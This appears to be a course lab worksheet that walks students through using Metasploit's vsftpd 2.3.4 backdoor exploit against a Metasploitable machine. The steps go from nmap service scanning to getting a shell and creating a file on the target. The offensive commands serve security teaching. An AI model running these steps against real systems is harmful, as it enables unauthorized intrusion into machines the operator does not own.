Lab 2 - Metasploit (Gaining Access)

In this lab, we learn to use the Metasploit framework; the world's most used penetration testing framework.

Warning — do not scan or attack systems you do not own (or have explicit permission to test).

1. Rerun the command `nmap -sV <victim IP>` (seen in the previous lab).
   - Report the service, version, and state of port 21.

2. Launch the Metasploit console with `msfconsole`.

3. Run the command `search vsftp` and explain your observations.

4. Run the command `info exploit/unix/ftp/vsftpd_234_backdoor`.
   - What details are shown after running this command?

5. Using the exploit:
   - Run the command `use exploit/unix/ftp/vsftpd_234_backdoor.`
   - Run the command `show options` and say why is this command important?
   - Run `set RHOSTS <victim IP>`
   - Run `show options` again. What do you notice?
   - Run the exploi with the comman `exploit.`

6. At this stage, you have gained access to the victim machine and you are on the victim's system.
   - Type the command that shows the current path on the victim machine.
   - Type `cd root`
   - Go to the victim machine (Metasploitable) and run `ls.`
   - Return to the Kali machine and run the command that creates a file named `Hello.txt`
   - Go back to the victim machine (Metasploitable) and run `ls`. What do you notice?